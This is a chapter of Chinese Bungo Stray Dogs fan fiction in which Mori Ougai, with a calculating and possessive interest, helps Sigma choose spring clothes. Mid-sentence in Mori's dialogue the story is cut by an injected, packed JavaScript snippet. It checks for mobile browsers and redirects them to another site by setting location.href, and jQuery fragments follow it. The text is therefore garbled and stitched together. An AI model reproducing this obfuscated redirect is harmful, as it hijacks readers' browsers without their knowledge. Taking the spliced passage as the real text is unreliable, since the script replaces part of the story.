36.春装(森鸥外篇)
作品:《[文野]记忆碎片》 武装侦探社的午后,阳光透过玻璃窗,暖融融地洒在办公桌上。
西格玛整理完最后一份文件,轻轻舒了口气。
天气已经明显转暖,厚重的冬衣开始显得不合时宜。
她低头看了看自己身上烟灰色的针织连衣裙。
决定趁着今天下午空闲,去添置些春装。
“镜花,国木田先生,太宰,我先走了。”西格玛站起身,拎起手提包。
泉镜花从文件中抬起头,轻轻点头:“路上小心。”
国木田独步正按住试图溜走的太宰治,闻言推了推眼镜:“记得收据要开三份,整理好后交给我登记。”
被按在座位上的太宰治挥了挥手,鸢色的眼睛弯起:“要买漂亮裙子哦,西格玛~”
西格玛无奈地笑了笑,转身离开了侦探社。
横滨的商业街在春日午后焕发着生机。樱花已经开了七分,淡粉色的花瓣随风飘落,铺在街道两旁。
西格玛原本约了谷崎直美,但直美需要上课,她只好独自逛街。
天气确实热得突然。
走了不到半小时,西格玛就觉得额角渗出了细密的汗珠。
她在一家服装店橱窗前驻足,看着里面陈列的轻薄春装,正思考着该从何入手——
“西格玛小姐?”
一个温和而熟悉的声音从身后传来。
西格玛身体微微一僵,转过身,看见那个穿着白大褂、留着半长黑发的男人正站在几步之外,身旁跟着金发红裙的小女孩。
森鸥外。
港口□□的首领。
他今天没有穿那件标志性的黑色大衣,而是身着一袭简约的白色医生袍。
红宝石般的眼眸随和了许多,半长的黑发松松散散地披在肩头,少了往日束起时的利落,多了几分慵懒的柔和。
颈间没有系那条标志性的红围巾,取而代之的是一枚精致的领结,衬得他褪去了几分组织首领的凛冽威严,平添了数分学者般的温润儒雅。
——如果忽略那双深紫色眼眸中,永远藏着的、深不可测的笑意。
“真是巧遇。”森鸥外缓步上前,目光在西格玛身上停留,那眼神如同在欣赏一幅终于修复完成的画作,“看来恢复得很好。比上次见面时,要美丽得多。”
他的话语很轻,带着恰到好处的赞美。
不是虚弱苍白的美,而是健康鲜活的美——森鸥外在心里修正着评价。
眼前的少女穿着一袭简约的灰色针织连衣裙,柔软的面料恰到好处地包裹着她曼妙的曲线。
半紫半白的长发在春日阳光下泛着柔和的光泽,脸颊带着自然的红润,那双淡粉色的眼睛清澈明亮,与上次在直升机坪上那个虚弱狼狈的模样判若两人。
西格玛的指尖微微收紧。
她的目光迅速扫过森鸥外身旁的爱丽丝——金发,红裙,精致的洋娃娃般的脸,但那双蓝色眼睛里的神采太过鲜活,与人类孩童微妙地不同。
异能的波动,虽然极其隐晦,但西格玛对这类气息异常敏感。
“森先生。”她礼貌但疏离地点了点头,身体微微后撤了半步,那是下意识的警惕。
森鸥外将这个小动作尽收眼底,唇角笑意更深。
像只察觉到危险的小猫,竖起无形的毛,却又保持着表面的礼貌。
真是……可爱。
“请不要紧张。”他抬起双手,做了个安抚的手势,“今天我只是个普通的逛街者。这位是爱丽丝。”
他拍了拍身旁女孩的头,“爱丽丝,打招呼。”
“你好~”爱丽丝歪着头,笑容甜美得无可挑剔,但西格玛注意到她的视线同样在打量自己,带着某种评估的意味。
“您有什么事吗?”西格玛问,声音平静,但眼神里带着戒备。
森鸥外轻笑:“一定要有事才能和美丽的小姐打招呼吗?”
他顿了顿,看向她身后服装店的橱窗,“来买春装?”
西格玛沉默着点了点头。
“一个人?”森鸥外问,随即像是想到了什么,“啊,谷崎家的妹妹今天要上学吧。既然如此——”
他向前走了一步,恰到好处地保持在不会让西格玛感到压迫的距离,“如果不介意的话,让我帮忙参考如何?在服装搭配方面,我还算有些心得。”
西格玛诧异地抬眼看他。
港口□□的首领,要陪她逛街买衣服?
“只是以森鸥外个人的身份。”
他补充道,语气诚恳得几乎让人信服,“毕竟,上次见面太过仓促,都没能好好认识。我对西格玛小姐……很感兴趣。”
最后那句话他说得很轻,像是随口一提,但那宝石红的眼眸里有什么东西闪了闪,像是深潭被投入一颗石子,涟漪荡开。
西格玛犹豫了。
理性告诉她应该立刻拒绝,远离这个危险的男人。
但另一方面……她确实对搭配不甚在行。
之前在天空赌场,衣物都是统一配备,而更早的记忆里,并没有多少关于“挑选喜欢衣服”的经历。
“……不会耽误您时间吗?”她最终问。
森鸥外笑容加深:“当然不会。不如说,能陪伴美丽的小姐挑选衣物,是我的荣幸。”
他侧身,做了个“请”的手势,“那么,从这家店开始?”
店内暖气开得适中,空气中弥漫着新衣特有的淡淡气息。
森鸥外确实如他所说,在服装搭配上颇有见解。
他游走在衣架之间,手指轻抚过不同面料的衣物,眼神专注得像在审视艺术品。
“这件。”他取下一件浅杏色的雪纺衬衫,质地轻盈,领口有精致的蕾丝装饰,“颜色很衬你的发色。”
又拿起一条淡紫色的半身裙,裙摆呈A字型:“春季适合这样轻盈的款式。”
西格玛接过衣服,走进试衣间。当她换好出来,站在试衣镜前时,微微怔了怔。
镜中的自己……确实不一样了。
浅杏色柔和了她眉宇间常有的淡淡疏离感,淡紫色裙摆随着动作轻轻晃动,整个人显得温柔而知性。
“果然。”森鸥外站在她身后几步远的地方,双手插在白大褂口袋里,目光落在镜中的映像上,“西格玛小姐适合浅色系。太过深沉的颜色会掩盖你本身的气质。”
他的评价专业而客观,但西格玛从镜中注意到,他的视线在她身上停留的时间略长了些。
——尤其是在她转身时,那件衬衫恰到好处地勾勒出的身体曲线上。
娇小,但曲线分明。森鸥外在心里冷静地评估着。
就像精心雕琢的人形玩偶,每一处比例都恰到好处,多一分则盈,少一分则亏。
“林太郎,这件也不错!”爱丽丝不知从哪里拿来一条水蓝色的连衣裙,裙身上有浅浅的印花。
森鸥外接过,仔细看了看:“嗯,款式不错,但颜色稍显稚嫩。”
他看向西格玛,“想试试吗?”
西格玛点了点头。
第二轮试穿后,森鸥外站在她面前,微微倾身,伸手调整了一下她颈后的衣领标签。
那个动作很自然,手指不经意擦过她后颈的皮肤,带着温热的触感。
西格玛身体微不可察地绷紧了一瞬。
“别紧张。”森鸥外轻声说,声音近在耳边,气息拂过她的发梢,“只是整理一下。”
他退后两步,再次审视,然后满意地点头:“很好。”
最终,西格玛选定了三套春装:那套浅杏色衬衫配淡紫半身裙,一件米白色的缎面连衣裙。
还有一条樱花粉的连衣裙,是爱丽丝坚持要她试的,效果意外地好。
结账时,森鸥外自然地抽出钱包。
“我自己来。”西格玛迅速按住他的手。
森鸥外的手顿在半空,他低头看着那只按在自己手上的、纤细白皙的手,睫毛微微垂下,遮盖了眼中那些微妙的情绪。
再抬眼时,他笑意中多了几分无奈:“您这么美丽的小姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200426|197107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,让我陪同着挑选衣物,我真的想做点什么感谢您呐。”
西格玛收回手,轻轻摇了摇头。
然后,她抬起眼,对他露出了一个很轻很浅的微笑。
那个笑容不像她平时礼貌性的、疏离的笑,而是更柔软、更真实的弧度,淡粉色的眼眸弯起温和的弧度,像春日初绽的花苞,带着些许腼腆,却又坦然。
“您的陪伴,就是我最好的感谢。”
她拎了拎手中的手提袋,声音很轻:
“您选的衣服,我很喜欢。”
森鸥外的瞳孔,在那一瞬间,微微收缩了。
他脸上的笑容依旧完美无瑕,但那双酒红色的眼眸深处,有什么东西被触动了。
——不是算计,不是评估,而是更纯粹、更直接的冲击。
真是……
如同花苞一样的美丽笑容啊。
不是完全盛放的张扬,也不是含羞待放的怯懦,而是恰到好处地绽开了一点点,让人窥见内里柔软的花蕊,却又保留着更多的、引人探索的神秘。
那一瞬间,森鸥外清晰地意识到——他想要的,已经不仅仅是欣赏这朵花了。
他想要触碰这朵花,想要让它在他的掌心绽放,想要它只为他展露这样的笑容。
“西格玛小姐。”在她准备离开时,森鸥外忽然开口,声音比刚才更低沉了些。
西格玛回头。
森鸥外上前一步,从口袋里取出一张简洁的名片。
不是港口□□首领那种烫金的正式名片,而是印着私人联系方式、设计素雅的卡片。
“如果有需要帮忙的地方,任何时候都可以联系我。”
他将名片递过去,指尖与她的轻轻相触,这一次,他的手指在她手背上多停留了半秒,“以森鸥外个人的名义。”
西格玛看着那张名片,犹豫片刻,最终接了过来:“……谢谢。”
“该说谢谢的是我。”
森鸥外微笑着,酒红色的眼眸里映着她的身影,那目光比之前任何时候都更专注,“能陪伴您度过这个下午,非常愉快。”
西格玛礼貌地点头告别,转身离开了店铺。
森鸥外站在原处,目送她的背影消失在街角。
春日午后的阳光将她的影子拉得很长,浅色的长发在风中微微飘动,渐行渐远。
“林太郎真是的。”爱丽丝忽然开口,抱着手臂,小脸上满是不悦,“明明就是心动了吧?还装模作样地说是‘欣赏’。”
森鸥外低头看向自己的异能造物,笑容意味深长:“别这样说啊,爱丽丝。你不也很喜欢她吗?”
“就是因为喜欢,所以林太郎才可恶!”爱丽丝跺了跺脚,“你明明知道,我喜欢她。”
我是你的异能,我喜欢她,就是你喜欢她。
——从最本质的、潜意识层面上的‘喜欢’。”
森鸥外轻笑出声,伸手揉了揉爱丽丝的金发:“被你看穿了啊。”
他望向西格玛离开的方向,深紫色的眼眸微微眯起,那里面翻涌着复杂难辨的情绪。
——欣赏、占有欲、算计,以及一丝连他自己都尚未完全厘清的、真实的吸引。
“我也是一个正常的男性啊。”他低声自语,声音轻得只有爱丽丝能听见,“喜欢漂亮的女性,有什么不对呢?”
尤其是当那女性不仅美丽,还如此特别。
像一枚误入棋盘的异色棋子,像一株生长在悬崖边的珍稀花卉,像一首旋律独特、令人忍不住想要反复聆听的乐曲。
他想要摘下这朵花。
不是现在,不是用强迫的方式。森鸥外向来有耐心,他擅长等待最佳的时机,创造最合适的环境,让目标自己走向他预设的位置。
他会让她自愿留在他身边。
春风拂过,森鸥外半长的黑发被吹得轻轻飘动。
他最后看了一眼空荡荡的街角,转身带着爱丽丝朝另一个方向走去。
横滨的春天,似乎比往年更加值得期待了。

